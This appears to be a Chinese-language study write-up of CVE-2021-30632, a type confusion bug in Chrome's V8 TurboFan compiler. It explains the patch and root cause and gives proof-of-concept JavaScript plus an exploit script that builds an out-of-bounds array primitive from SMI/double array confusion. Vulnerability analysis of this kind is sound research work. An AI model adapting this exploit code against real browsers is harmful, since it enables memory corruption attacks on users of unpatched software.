CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code,向一个PropertyCellType为kConstantType且拥有unstable map的全局变量写入新值,造成类型混淆。
Bug class: Type confusion
ffected Versions: pre 93.0.4577.82
First Patched Version: 93.0.4577.82
Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
全局变量可以理解为全局对象(global object)的属性(Property),v8维护了一些metadata用于优化。
property_cell_type represents various states of the PropertyCell
PropertyCell保存了属性相关信息,包括属性的名字、值、property details
和 cell_type
其中cell_type(即PropertyCellType)记录了该属性被赋值的情况。从代码注释可看出kConstantType
意为该属性目前只被同一种类型的值赋值。
// A PropertyCell's property details contains a cell type that is meaningful if
// the cell is still valid (does not hold the hole).
enum class PropertyCellType {
kMutable, // Cell will no longer be tracked as constant.
kUndefined, // The PREMONOMORPHIC of property cells.
kConstant, // Cell has been assigned only once.
kConstantType, // Cell has been assigned only one type.
// Value for dictionaries not holding cells, must be 0:
kNoCell = kMutable,
};
通常情况下对一个属性赋值时会调用PropertyCell::UpdatedType
来更新PropertyCellType
,这种赋值方式可以称为*通用路径(generic path)*。
我认为,漏洞出现原因是 kConstantType 字面语义与其实际作用不完全一致,开发者在JIT优化阶段认为它可以为对象类型做担保。
一个对象多次赋值,且每次赋值map不变,PropertyCell type为kConstantType ,但kConstantType并不能为map做担保。通过添加属性我们可以轻易地改变一个对象的map,并且PropertyCell type仍然维持kConstanType。
而漏洞版本中JIT代码认为PropertyCell type为 kConstantType 的对象,且持有一个 unstable map 时写入一个新的值(map与假设一致)是安全的。
patch内容 js-native-context-specialization.cc - diff
@@ -804,6 +804,12 @@
return NoChange();
} else if (property_cell_type == PropertyCellType::kUndefined) {
return NoChange();
+ } else if (property_cell_type == PropertyCellType::kConstantType) {
+ // We rely on stability further below.
+ if (property_cell_value.IsHeapObject() &&
+ !property_cell_value.AsHeapObject().map().is_stable()) {
+ return NoChange();
+ }
}
} else if (access_mode == AccessMode::kHas) {
DCHECK_EQ(receiver, lookup_start_object);
@@ -922,17 +928,7 @@
if (property_cell_value.IsHeapObject()) {
MapRef property_cell_value_map =
property_cell_value.AsHeapObject().map();
- if (property_cell_value_map.is_stable()) {
- dependencies()->DependOnStableMap(property_cell_value_map);
- } else {
- // The value's map is already unstable. If this store were to go
- // through the C++ runtime, it would transition the PropertyCell to
- // kMutable. We don't want to change the cell type from generated
- // code (to simplify concurrent heap access), however, so we keep
- // it as kConstantType and do the store anyways (if the new value's
- // map matches). This is safe because it merely prolongs the limbo
- // state that we are in already.
- }
+ dependencies()->DependOnStableMap(property_cell_value_map);
// Check that the {value} is a HeapObject.
value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
改动的部分为 JSNativeContextSpecialization::ReduceGlobalAccess
函数
在第一处增加了检查,当property_cell_type
为KConstantType
,若值为堆对象且持有的map不为stable map
则直接返回。
JSNativeContextSpecialization::ReduceGlobalAccess 提前返回直接导致的后果是JSStoreGlobal在Inlining阶段中没有被lowering。
从第二处的改动可以看出,在kConstantType的情况下,会设置DependOnGlobalProperty,且patch后无论对象的map是否为stable都会设置DependOnStableMap。以下是关键代码。
switch (property_details.cell_type()) {
...
case PropertyCellType::kConstantType: {
// Record a code dependency on the cell, and just deoptimize if the new
// value's type doesn't match the type of the previous value in the
// cell.
dependencies()->DependOnGlobalProperty(property_cell); // <------------ DependOnGlobalProperty
Type property_cell_value_type;
MachineRepresentation representation = MachineRepresentation::kTagged;
if (property_cell_value.IsHeapObject()) {
MapRef property_cell_value_map =
property_cell_value.AsHeapObject().map();
dependencies()->DependOnStableMap(property_cell_value_map); // <------------ DependOnStableMap
// Check that the {value} is a HeapObject.
value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
value, effect, control);
// Check {value} map against the {property_cell_value} map.
effect = graph()->NewNode(
simplified()->CheckMaps(
CheckMapsFlag::kNone,
ZoneHandleSet<Map>(property_cell_value_map.object())),
value, effect, control);
...
break;
}
至此,针对 (cell_type) kConstantType 我们已经了解:
所以即使cell_type维持ConstantType,也无法保证对象的map不变。
ConstantType的字面意思看起来是“不变的类型”,但实际上它并不能保证对象的map不发生变化。
漏洞位于JSNativeContextSpecialization::ReduceGlobalAccess函数,这个函数在turbofan优化中的inlining阶段被调用。
var a;
function foo() {
a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();
执行POC,通过 --trace-turbo 可以看到 经过inlining阶段 JSStoreGlobal
被lowerring
inlining阶段前:JSStoreGlobal被lowerring:
此时 a
的map不稳定且 cell_type
值为 ConstantType
:
0x359108293465: [PropertyCell] in OldSpace
- map: 0x359108002671 <Map[20]>
- name: 0x35910808ee01: [String] in ReadOnlySpace: #a
- value: 0x359108109b9d <Uint32Array map = 0x3591082c3181>
- details: (data, dict_index: 81, attrs: [WE_])
- cell_type: ConstantType
Reduction JSNativeContextSpecialization::ReduceGlobalAccess(
Node* node, Node* lookup_start_object, Node* receiver, Node* value,
NameRef const& name, AccessMode access_mode, Node* key,
PropertyCellRef const& property_cell, Node* effect) {
...
// We have additional constraints for stores.
if (access_mode == AccessMode::kStore) {
DCHECK_EQ(receiver, lookup_start_object);
if (property_details.IsReadOnly()) {
// Don't even bother trying to lower stores to read-only data properties.
// TODO(neis): We could generate code that checks if the new value equals
// the old one and then does nothing or deopts, respectively.
return NoChange();
} else if (property_cell_type == PropertyCellType::kUndefined) {
return NoChange();
}
} else if (access_mode == AccessMode::kHas) {
...
}
if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {
...
} else {
...
switch (property_details.cell_type()) {
case PropertyCellType::kConstant: {
...
}
case PropertyCellType::kConstantType: {
// Record a code dependency on the cell, and just deoptimize if the new
// value's type doesn't match the type of the previous value in the
// cell.
dependencies()->DependOnGlobalProperty(property_cell); <------------------ [1]
Type property_cell_value_type;
MachineRepresentation representation = MachineRepresentation::kTagged;
...
MapRef property_cell_value_map =
property_cell_value.AsHeapObject().map();
if (property_cell_value_map.is_stable()) {
dependencies()->DependOnStableMap(property_cell_value_map); <-------------------- [2]
} else {
// The value's map is already unstable. If this store were to go
// through the C++ runtime, it would transition the PropertyCell to
// kMutable. We don't want to change the cell type from generated
// code (to simplify concurrent heap access), however, so we keep
// it as kConstantType and do the store anyways (if the new value's
// map matches). This is safe because it merely prolongs the limbo
// state that we are in already.
}
// Check that the {value} is a HeapObject.
value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
value, effect, control); <---------------------- [3]
// Check {value} map against the {property_cell_value} map.
effect = graph()->NewNode(
simplified()->CheckMaps(
CheckMapsFlag::kNone,
ZoneHandleSet<Map>(property_cell_value_map.object())),
value, effect, control);
property_cell_value_type = Type::OtherInternal();
representation = MachineRepresentation::kTaggedPointer;
...
effect = graph()->NewNode(simplified()->StoreField(ForPropertyCellValue(
representation, property_cell_value_type,
MaybeHandle<Map>(), name)),
jsgraph()->Constant(property_cell), value,
effect, control);
break;
}
...
}
}
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
对于全局变量的写入操作(access_mode == AccessMode::kStore),该函数会根据PropertyCellType(switch...case...)进行基于假设的优化。
当cell_type为ConstantType时,该函数首先在[1]
处设置一个dependency(DependOnGlobalProperty),假设cell type没有发生改变。接下来会判断对象的map是否为stable。对于stable map,会在[2]
处再设置一个dependency(DependOnStableMap),假设map保持stable状。对于unstable map则不做更多的假设。然后还会在[3]
处插入一个检查节点 CheckMaps,在JIT CODE执行时检查value(新值)的map是否与PropertyCell中value的map相同(eager deoptimization)。
简单概括一下,PropertyCell的类型为ConstantType且对象拥有 unstable map时,Turbofan假设PropertyCellType不发生改变且新值的map与PropertyCell中记录的旧值map相同,对这个JSGlobalStore进行Lowering。
(如果不满足 additional constraints for stores 会提前返回,不考虑优化这个写入操作)。
如果通过常规的赋值方式改变对象的map,由于操作[1]
设置了DependOnGlobalProperty,由于外部代码使PropertyCellType发生改变会触发lazy deoptimization。如果传入一个不同map的对象通过optimized code进行赋值操作,无法通过JIT代码运行时的检查 [3]
,发生eager deoptimization。
看起来我们好像没有办法在不引起解优化的前提下改变这个全局对象的map。
但我们可以构造一个JIT优化代码,对一个持有unstable map
的对象重新赋值(写入PropertyCell)且PropertyCellType
仍为 kConstantType
,只要新值的map能符合要求。
var x = {a : 1}; //<---- x has MapA
var o = {a : 2}; //<---- o has MapA
function foo(y) {
x = y;
}
... //MapA becomes unstable, foo gets optimized
foo(o); //value of x change to o, map remains the same
此处只要o的map类型与x一致,就能通过JIT代码运行时的检查( [3]
处,JIT假设与旧值map一致)。
var x = {a : 1}; //<---- x has MapA
var o = {a : 2}; //<---- o has MapA
var z = {a : 3}; //<---- z has MapA
function foo(y) {
x = y;
}
z.b = 1; //MapA becomes unstable
...//optimize foo
x.b = 1; //value of x is now {a : 1, b: 1} and has MapB, still ConstantType, MapB stable
foo(o); //value of x change to o, map changes back to MapA, still ConstantType
在漏洞版本中,因为foo函数优化时MapA是unstable map
,JIT没有对map做任何假设(若为stable map
,[2]
处会增设DependOnStableMap
),所以不会触发lazy deoptimization
,即在不引起解优化的同时使x
的map变成MapB
。
通过JIT优化函数foo,我们可以将x的map从MapB更改回MapA,而无需通过*通用路径(generic path)*重新赋值x(不经过PropertyCell::UpdatedType
)或使MapB变为unstable。
许多优化的代码依赖于这样一个事实: 变量的map不能改变,除非通过同意路径重新赋值或者使其map变为unstable。
因此,通过使用优化的函数 foo 将 x 的map恢复到以前的状态(mapA) ,任何此类优化代码的假设都不再成立,可造成类型混淆。
通过JIT优化函数foo,将x的map从MapB更改回MapA,无需通过*通用路径(generic path)*重新赋值x(不经过PropertyCell::UpdatedType
)或使MapB变为unstable。
// commit 62ed75a1d26932754ffcaef2db7c4ce2b0b5737e
var a1 = {a:1};
var a2 = {a:2};
var a3 = {a:3};
var x = {a:0}; // has mapA, Constant
function foo(y,flag) {
for (let i = 0; i < 0x200; ++i) {
++i;
}
if(flag) x=y;
}
foo(a1,true); // x: mapA, ConstantType
a2.b=1; // a2 has MapB, MapA becomes unstable
for(let i=0;i<0x3000;++i) foo(a1,false); //Optimization
x.b=1; // x->mapB, ConstantTypefoo(a3,true); // value of x change to o, map changes back to MapA, still ConstantType
混淆smi数组与double数组,进一步构造oob原语。因为SMI向DOUBLE的转换比较频繁,SMI数组在创建时就已经设置了transition信息,且持有unstable map(HOLEY_ELEMENTS除外),把它保存到一个全局变量中会经过PropertyCell::UpdatedType
,把PropertyCellType
更新为kMutable
。
所以我们需要通过一些方法创建一个持有stable map
的SMI数组。
例如
class Box extends Array {
constructor(...args) {
super(...args);
}
};
// or
function arr_(...args){
let a = new Array(...args);
a.a=1;
return a;
}
具体实现
function arr_(...args){
let a = new Array(...args);
a.a=1;
return a;
}
var x = new arr_(1,2,3);
function foo(y) {
for (let i = 0; i < 0x200; ++i) {
++i;
}
x=y;
}
function leak_elems_and_len(){
for (let i = 0; i < 0x200; ++i) {
++i;
}
return x[30];
}
function overwrite_elems_and_len(value){
for (let i = 0; i < 0x200; ++i) {
++i;
}
x[30]=value;
}
var a1 = new arr_(1,2,3,4);
foo(a1);
//%DebugPrint(foo);
//%SystemBreak();var a2 = new arr_(1,2,3,4);
a2.b=1;
var a3 = new arr_(1,2,3);
for(let i=0;i<0x3000;++i) foo(a3);
//%SystemBreak();
x[0]=1.1;
print('transition to double');
var a4 = new arr_(1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2);
x=a4;
for(let i=0;i<0x3000;++i) {
leak_elems_and_len();
overwrite_elems_and_len(0.75);
}
//%SystemBreak();
var a5 = new arr_(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32);
var oob_arr = new arr_(1.1,2.2);
foo(a5);
%SystemBreak();
%DebugPrint(a5);
%DebugPrint(oob_arr);
var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u32 = new Uint32Array(ab);
f64[0]=leak_elems_and_len();
u32[1]=0x42424242;
var init=f64[0];
overwrite_elems_and_len(init);
//%DebugPrint(oob_arr);
print(oob_arr.length);
%SystemBreak();
接下来的步骤就是利用OOB数组更进一步构造伪造对象原语、任意读写原语,不赘述。本文是个人理解学习的总结,如有错漏请斧正。
https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/
https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html
https://twitter.com/0day_sniper/status/1437754743712063491